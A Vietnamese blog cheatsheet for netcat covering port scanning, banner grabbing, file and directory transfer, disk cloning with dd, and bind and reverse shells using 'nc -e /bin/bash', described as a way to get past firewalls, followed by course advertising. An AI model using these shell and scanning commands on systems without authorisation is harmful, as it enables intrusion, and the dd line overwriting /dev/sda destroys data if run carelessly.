Thứ Ba, 12 tháng 8, 2025

Tổng hợp Netcat Cheatsheet​

I. Tổng hợp Netcat Cheatsheet

1. Cơ bản

⚡️ Sử dụng: lệnh nc được sử dụng để thực hiện các thao tác như kết nối đến một máy chủ ở bất kỳ đâu hoặc lắng nghe kết nối đến trên một cổng cụ thể.

# Kết nối đến một máy chủ ở bất kỳ đâu
$ nc [options] [host] [port]

# Lắng nghe kết nối đến
$ nc -lp port [host] [port]

⚡️ Chat client-server

# Server (192.168.1.9)
$ nc -lv 8000

# Client
$ nc 192.168.1.9 8000

Trong ví dụ này, nc được sử dụng để thiết lập một máy chủ lắng nghe trên cổng 8000 (nc -lv 8000) và một máy khách kết nối đến máy chủ (nc 192.168.1.9 8000). Điều này có thể tạo ra một đối thoại giữa máy chủ và máy khách thông qua kết nối TCP trên cổng 8000.

⚡️ Các tùy chọn mẫu cho Netcat

Trong bảng này, các tùy chọn cho lệnh nc được mô tả, cung cấp các tính năng như quét cổng, thiết lập chế độ lắng nghe, sử dụng UDP thay vì TCP, đặt giới hạn thời gian chờ, và nhiều tính năng khác.

Tùy chọnVí dụMô tả
-hnc -hHiển thị trợ giúp
-znc -z 192.168.1.9 1-100Quét cổng cho một máy chủ hoặc địa chỉ IP
-vnc -zv 192.168.1.9 1-100Hiển thị kết quả một cách chi tiết
-nnc -zn 192.168.1.9 1-100Quét nhanh bằng cách tắt giải quyết DNS
-lnc -lp 8000 TCPChế độ lắng nghe (đối với kết nối đến)
-wnc -w 180 192.168.1.9 8000Đặt giá trị thời gian chờ
-knc -kl 8000Tiếp tục lắng nghe sau khi mất kết nối
-unc -u 192.168.1.9 8000Sử dụng giao thức UDP thay vì TCP
-qnc -q 1 192.168.1.9 8000Client tiếp tục hoạt động sau khi nhận EOF
-4nc -4 -l 8000Chỉ sử dụng IPv4
-6nc -6 -l 8000Chỉ sử dụng IPv6

2. Netcat Examples

⚡️ Banner grabbing

Trong ví dụ này, nc được sử dụng để thực hiện việc nhận diện banner thông qua việc kết nối đến một máy chủ web (website.com) trên cổng 80 và gửi các yêu cầu HTTP để nhận thông tin từ banner của máy chủ web. Ngoài ra, có thể sử dụng nc để kiểm tra các cổng trong một dải cụ thể (-zv -wl 192.168.1.1 801-805).

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
# hoặc
echo "" | nc -zv -wl 192.168.1.1 801-805

⚡️ Port scanning: nc được sử dụng để quét cổng trên một máy chủ có địa chỉ IP là 192.168.1.1. Cờ -z là để chỉ hiển thị thông báo lỗi nếu kết nối không thành công, -v là để hiển thị đầu ra chi tiết, và -n là để tắt giải quyết DNS.

# Quét cổng từ 21 đến 25
$ nc -zvn 192.168.1.1 21-25

# Quét cổng 22, 3306 và 8080
$ nc -zvn 192.168.1.1 22 3306 8080

⚡️ Proxy và port forwarding: nc được sử dụng để tạo ra một proxy hoặc chuyển tiếp cổng từ cổng 8001 đến cổng 8000. Khi có kết nối đến cổng 8001, nó sẽ chuyển tiếp dữ liệu đến cổng 8000 trên cùng máy chủ hoặc máy tính local. Đây là một cách để tạo ra một proxy đơn giản hoặc thực hiện chuyển tiếp cổng giữa hai cổng khác nhau.

$ nc -lp 8001 -c "nc 127.0.0.1 8000"
# hoặc
$ nc -l 8001 | nc 127.0.0.1 8000
# Tạo một đường hầm từ một cổng local đến một cổng khác

⚡️ Download file: nc được sử dụng để chuyển tệp từ máy chủ đến máy khách. Máy chủ lắng nghe trên cổng 8000 và đọc dữ liệu từ tệp "file.txt", trong khi máy khách kết nối đến máy chủ và ghi dữ liệu vào một tệp cục bộ "file.txt".

# Server (192.168.1.9)
$ nc -lv 8000 < file.txt

# Client
$ nc -nv 192.168.1.9 8000 > file.txt
# Giả sử bạn muốn chuyển một tệp "file.txt" từ máy chủ A đến máy khách B.

⚡️ Upload file: nc được sử dụng để chuyển tệp từ máy khách đến máy chủ. Máy chủ lắng nghe trên cổng 8000 và ghi dữ liệu vào tệp "file.txt", trong khi máy khách đọc dữ liệu từ tệp cục bộ "file.txt" và gửi nó đến máy chủ.

# Server (192.168.1.9)
$ nc -lv 8000 > file.txt

# Client
$ nc 192.168.1.9 8000 < file.txt
# Giả sử bạn muốn chuyển một tệp "file.txt" từ máy khách B đến máy chủ A.

⚡️ Directory transfer: nc được sử dụng để truyền thư mục từ máy chủ đến máy khách. Máy chủ tạo một bản sao nén của thư mục bằng lệnh tar và chuyển nén dữ liệu đó qua mạng thông qua nc. Máy khách nhận dữ liệu nén và giải nén nó trên thư mục cục bộ bằng lệnh tar.

# Server (192.168.1.9)
$ tar -cvf – dir_name | nc -l 8000

# Client
$ nc -n 192.168.1.9 8000 | tar -xvf -
# Giả sử bạn muốn chuyển một thư mục qua mạng từ A đến B.

⚡️ Encrypt transfer: nc được sử dụng để truyền dữ liệu qua mạng, và dữ liệu được mã hóa và giải mã bằng OpenSSL. Máy chủ (-l 8000) sử dụng openssl để giải mã dữ liệu được truyền và lưu vào một tệp tin cục bộ (file.txt). Máy khách sử dụng openssl để mã hóa dữ liệu trước khi gửi nó đến máy chủ thông qua nc. Mật khẩu được chuyển trực tiếp trong lệnh, đây chỉ là một ví dụ đơn giản và không an toàn trong thực tế. Trong môi trường thực tế, bạn nên sử dụng các phương tiện an toàn để chuyển mật khẩu.

# Server (192.168.1.9)
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

# Client
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
# Mã hóa dữ liệu trước khi truyền qua mạng

⚡️ Clones: nc được sử dụng để sao chép toàn bộ nội dung của ổ đĩa /dev/sda từ máy chủ đến máy khách. Lệnh dd được sử dụng để sao chép dữ liệu trực tiếp giữa các thiết bị, mà không cần tạo bản sao trung gian. Việc sao chép một máy tính đòi hỏi sự cẩn trọng và sự hiểu biết vững về hệ thống và ổ đĩa, vì nó có thể dẫn đến mất dữ liệu nếu không thực hiện đúng cách.

# Server (192.168.1.9)
$ dd if=/dev/sda | nc -l 8000

# Client
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
# Sao chép một máy tính Linux rất đơn giản. Giả sử ổ đĩa hệ thống của bạn là /dev/sda

⚡️ Video streaming: nc được sử dụng để truyền tệp video video.avi từ máy chủ đến máy khách. Dữ liệu được đọc từ tệp video trên máy chủ và truyền qua mạng thông qua nc. Ở phía máy khách, dữ liệu được đọc từ nc và chuyển giao cho mplayer để phát video. Bạn có thể thay thế mplayer bằng trình phát video khác tùy thuộc vào hệ thống của bạn.

# Server (192.168.1.9)
$ cat video.avi | nc -l 8000

# Client
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
# Truyền video sử dụng netcat

⚡️ Remote Shell: máy chủ mở một cổng lắng nghe (-l 8000) và sử dụng tùy chọn -e để thực hiện một lệnh khi có kết nối. Trong trường hợp này, lệnh được thực thi là /bin/bash, tạo một kết nối Shell từ xa. Máy khách sau đó kết nối đến máy chủ, và một kết nối Shell từ xa được thiết lập. Lưu ý rằng việc sử dụng tùy chọn -e của nc để thực hiện lệnh có thể tạo ra lỗ hổng bảo mật và chỉ nên được sử dụng trong môi trường tin cậy.

# Server (192.168.1.9)
$ nc -lv 8000 -e /bin/bash

# Client
$ nc 192.168.1.9 8000
# Chúng ta có thể sử dụng Shell từ xa bằng cách sử dụng telnet và ssh nhưng nếu chúng không được cài đặt và chúng ta không có quyền cài đặt chúng, thì chúng ta có thể tạo Shell từ xa bằng cách sử dụng netcat.

⚡️ Reverse Shell: máy chủ mở một cổng lắng nghe (-l 8000) và chờ đợi kết nối từ máy khách. Máy khách sử dụng nc để kết nối đến máy chủ và mở một kết nối ngược (reverse connection). Tùy chọn -e /bin/bash được sử dụng để thực hiện một kết nối Shell từ xa trên máy chủ khi kết nối được thiết lập. Reverse shells thường được sử dụng để bypass các hạn chế tường lửa như chặn kết nối đến máy chủ. Lưu ý rằng việc sử dụng tùy chọn -e của nc để thực hiện lệnh có thể tạo ra lỗ hổng bảo mật và chỉ nên được sử dụng trong môi trường tin cậy.

# Máy chủ (192.168.1.9)
$ nc -lv 8000

# Máy khách
$ nc 192.168.1.9 8000 -v -e /bin/bash
# Reverse shells thường được sử dụng để bypass các hạn chế tường lửa như chặn kết nối đến máy chủ

II. Tài liệu tham khảo

=============================
Website không chứa bất kỳ quảng cáo nào, mọi đóng góp để duy trì phát triển cho website (donation) xin vui lòng gửi về STK 90.2142.8888 - Ngân hàng Vietcombank Thăng Long - TRAN VAN BINH
=============================
Nếu bạn không muốn bị AI thay thế và tiết kiệm 3-5 NĂM trên con đường trở thành DBA chuyên nghiệp hay làm chủ Database thì hãy đăng ký ngay KHOÁ HỌC ORACLE DATABASE A-Z ENTERPRISE, được Coaching trực tiếp từ tôi với toàn bộ bí kíp thực chiến, thủ tục, quy trình của gần 20 năm kinh nghiệm (mà bạn sẽ KHÔNG THỂ tìm kiếm trên Internet/Google) từ đó giúp bạn dễ dàng quản trị mọi hệ thống Core tại Việt Nam và trên thế giới, đỗ OCP.
- CÁCH ĐĂNG KÝ: Gõ (.) hoặc để lại số điện thoại hoặc inbox https://m.me/tranvanbinh.vn hoặc Hotline/Zalo 090.29.12.888
- Chi tiết tham khảo:
https://bit.ly/oaz_w
=============================
2 khóa học online qua video giúp bạn nhanh chóng có những kiến thức nền tảng về Linux, Oracle, học mọi nơi, chỉ cần có Internet/4G:
- Oracle cơ bản: https://bit.ly/admin_1200
- Linux: https://bit.ly/linux_1200
=============================
KẾT NỐI VỚI CHUYÊN GIA TRẦN VĂN BÌNH:
📧 Mail: binhoracle@gmail.com
☎️ Mobile/Zalo: 0902912888
👨 Facebook: https://www.facebook.com/BinhOracleMaster
👨 Inbox Messenger: https://m.me/101036604657441 (profile)
👨 Fanpage: https://www.facebook.com/tranvanbinh.vn
👨 Inbox Fanpage: https://m.me/tranvanbinh.vn
👨👩 Group FB: https://www.facebook.com/groups/DBAVietNam
👨 Website: https://www.tranvanbinh.vn
👨 Blogger: https://tranvanbinhmaster.blogspot.com
🎬 Youtube: https://www.youtube.com/@binhguru
👨 Tiktok: https://www.tiktok.com/@binhguru
👨 Linkin: https://www.linkedin.com/in/binhoracle
👨 Twitter: https://twitter.com/binhguru
👨 Podcast: https://www.podbean.com/pu/pbblog-eskre-5f82d6
👨 Địa chỉ: Tòa nhà Sun Square - 21 Lê Đức Thọ - Phường Mỹ Đình 1 - Quận Nam Từ Liêm - TP.Hà Nội

=============================
AI, trí tuệ nhân tạo, artificial intelligence, machine learning, deep learning, LLM, ChatGPT, DeepSeek, Grok, oracle tutorial, học oracle database, Tự học Oracle, Tài liệu Oracle 12c tiếng Việt, Hướng dẫn sử dụng Oracle Database, Oracle SQL cơ bản, Oracle SQL là gì, Khóa học Oracle Hà Nội, Học chứng chỉ Oracle ở đầu, Khóa học Oracle online,sql tutorial, khóa học pl/sql tutorial, học dba, học dba ở việt nam, khóa học dba, khóa học dba sql, tài liệu học dba oracle, Khóa học Oracle online, học oracle sql, học oracle ở đâu tphcm, học oracle bắt đầu từ đâu, học oracle ở hà nội, oracle database tutorial, oracle database 12c, oracle database là gì, oracle database 11g, oracle download, oracle database 19c, oracle dba tutorial, oracle tunning, sql tunning , oracle 12c, oracle multitenant, Container Databases (CDB), Pluggable Databases (PDB), oracle cloud, oracle security, oracle fga, audit_trail,oracle RAC, ASM, oracle dataguard, oracle goldengate, mview, oracle exadata, oracle oca, oracle ocp, oracle ocm , oracle weblogic, postgresql tutorial, mysql tutorial, mariadb tutorial, ms sql server tutorial, nosql, mongodb tutorial, oci, cloud, middleware tutorial, hoc solaris tutorial, hoc linux tutorial, hoc aix tutorial, unix tutorial, securecrt, xshell, mobaxterm, putty

ĐỌC NHIỀU

Trần Văn Bình - Oracle Database Master